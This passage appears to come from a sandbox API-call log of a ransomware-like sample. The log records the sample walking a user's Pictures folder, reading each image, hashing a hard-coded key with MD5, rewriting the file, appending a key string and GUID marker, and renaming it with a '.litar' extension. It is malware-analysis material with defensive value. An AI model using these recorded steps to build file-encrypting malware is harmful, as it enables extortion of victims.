hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.887] GetLastError () returned 0x0 [0126.887] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.887] CryptReleaseContext (hProv=0x6a0498, dwFlags=0x0) returned 1 [0126.887] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.887] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2c50) returned 0x30fa0b0 [0126.887] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.887] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.887] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x2c46, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x2c46, lpOverlapped=0x0) returned 1 [0126.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.888] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x2c4b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.888] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.888] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.888] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.888] CloseHandle (hObject=0x624) returned 1 [0126.889] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e218 [0126.889] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.889] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e218 | out: hHeap=0x5c0000) returned 1 [0126.889] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\KpZlD4zquX\\fQS43pyYf93X_Ex4mvdQ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\kpzld4zqux\\fqs43pyyf93x_ex4mvdq.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\KpZlD4zquX\\fQS43pyYf93X_Ex4mvdQ.jpg.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\kpzld4zqux\\fqs43pyyf93x_ex4mvdq.jpg.litar")) returned 1 [0126.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.890] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.891] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.891] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11a75ab0, ftCreationTime.dwHighDateTime=0x1d4d17b, ftLastAccessTime.dwLowDateTime=0x65cdd0f0, ftLastAccessTime.dwHighDateTime=0x1d4d401, ftLastWriteTime.dwLowDateTime=0x65cdd0f0, ftLastWriteTime.dwHighDateTime=0x1d4d401, nFileSizeHigh=0x0, nFileSizeLow=0xab57, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mw3Rg1vX.bmp", cAlternateFileName="")) returned 1 [0126.891] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.891] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.891] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.891] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\KpZlD4zquX\\Mw3Rg1vX.bmp") returned=".bmp" [0126.891] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\KpZlD4zquX\\Mw3Rg1vX.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\kpzld4zqux\\mw3rg1vx.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.891] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=43863) returned 1 [0126.891] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.893] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xab31, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.893] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.894] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.894] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.894] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.894] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xab57, lpOverlapped=0x0) returned 1 [0126.895] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.895] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.895] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.895] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.895] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0498) returned 1 [0126.896] CryptCreateHash (in: hProv=0x6a0498, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.896] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.896] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.896] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.896] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.896] GetLastError () returned 0x0 [0126.896] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.896] CryptReleaseContext (hProv=0x6a0498, dwFlags=0x0) returned 1 [0126.896] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.896] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xab60) returned 0x30fa0b0 [0126.896] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.896] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.896] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xab52, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xab52, lpOverlapped=0x0) returned 1 [0126.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.897] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xab57, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.897] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.897] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.897] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.897] CloseHandle (hObject=0x624) returned 1 [0126.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.898] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\KpZlD4zquX\\Mw3Rg1vX.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\kpzld4zqux\\mw3rg1vx.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\KpZlD4zquX\\Mw3Rg1vX.bmp.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\kpzld4zqux\\mw3rg1vx.bmp.litar")) returned 1 [0126.899] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.899] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.900] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.900] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34d1440, ftCreationTime.dwHighDateTime=0x1d4d302, ftLastAccessTime.dwLowDateTime=0x794c2f50, ftLastAccessTime.dwHighDateTime=0x1d4cdf3, ftLastWriteTime.dwLowDateTime=0x794c2f50, ftLastWriteTime.dwHighDateTime=0x1d4cdf3, nFileSizeHigh=0x0, nFileSizeLow=0x14bb6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oWuD6cFhx.bmp", cAlternateFileName="OWUD6C~1.BMP")) returned 1 [0126.900] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.900] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.900] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.900] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\KpZlD4zquX\\oWuD6cFhx.bmp") returned=".bmp" [0126.900] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\KpZlD4zquX\\oWuD6cFhx.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\kpzld4zqux\\owud6cfhx.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.900] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=84918) returned 1 [0126.900] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.902] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x14b90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.902] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.903] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.903] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x14bb6, lpOverlapped=0x0) returned 1 [0126.904] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.904] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.904] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.904] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0498) returned 1 [0126.905] CryptCreateHash (in: hProv=0x6a0498, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.905] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.905] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.905] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.905] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.905] GetLastError () returned 0x0 [0126.905] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.905] CryptReleaseContext (hProv=0x6a0498, dwFlags=0x0) returned 1 [0126.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.906] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14bc0) returned 0x30fa0b0 [0126.906] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.906] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.906] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x14bb1, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x14bb1, lpOverlapped=0x0) returned 1 [0126.906] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.906] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x14bb6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.906] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.906] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.907] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.907] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.907] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.907] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.907] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.907] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.907] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.907] CloseHandle (hObject=0x624) returned 1 [0126.908] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.908] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.908] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.908] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\KpZlD4zquX\\oWuD6cFhx.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\kpzld4zqux\\owud6cfhx.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\KpZlD4zquX\\oWuD6cFhx.bmp.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\kpzld4zqux\\owud6cfhx.bmp.litar")) returned 1 [0126.909] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.909] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.910] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3860ff30, ftCreationTime.dwHighDateTime=0x1d4c929, ftLastAccessTime.dwLowDateTime=0x9acc8890, ftLastAccessTime.dwHighDateTime=0x1d4d5a6, ftLastWriteTime.dwLowDateTime=0x9acc8890, ftLastWriteTime.dwHighDateTime=0x1d4d5a6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YHJDNsTm70ISLDguQKA", cAlternateFileName="YHJDNS~1")) returned 1 [0126.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd068 [0126.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0126.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x214) returned 0x30950c0 [0126.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd260 [0126.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0126.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075368 [0126.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075400 [0126.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075498 [0126.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd308 [0126.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075530 [0126.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd3b0 [0126.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0126.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd458 [0126.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075070 | out: hHeap=0x5c0000) returned 1 [0126.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0126.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a05a8 | out: hHeap=0x5c0000) returned 1 [0126.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075108 | out: hHeap=0x5c0000) returned 1 [0126.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0126.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075238 | out: hHeap=0x5c0000) returned 1 [0126.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcf18 | out: hHeap=0x5c0000) returned 1 [0126.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30752d0 | out: hHeap=0x5c0000) returned 1 [0126.911] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0126.911] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074fd8 | out: hHeap=0x5c0000) returned 1 [0126.911] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd1b8 | out: hHeap=0x5c0000) returned 1 [0126.911] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x308d780 | out: hHeap=0x5c0000) returned 1 [0126.911] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd1b8 [0126.911] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0126.911] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd068 | out: hHeap=0x5c0000) returned 1 [0126.911] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3592ca80, ftCreationTime.dwHighDateTime=0x1d4d3de, ftLastAccessTime.dwLowDateTime=0x55192870, ftLastAccessTime.dwHighDateTime=0x1d4d291, ftLastWriteTime.dwLowDateTime=0x55192870, ftLastWriteTime.dwHighDateTime=0x1d4d291, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZvT6vaWh-93ETSX", cAlternateFileName="ZVT6VA~1")) returned 1 [0126.911] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074fd8 [0126.911] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd6) returned 0x2fd16f0 [0126.911] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074fd8 | out: hHeap=0x5c0000) returned 1 [0126.911] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd068 [0126.911] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0126.911] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd068 | out: hHeap=0x5c0000) returned 1 [0126.911] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd16f0 | out: hHeap=0x5c0000) returned 1 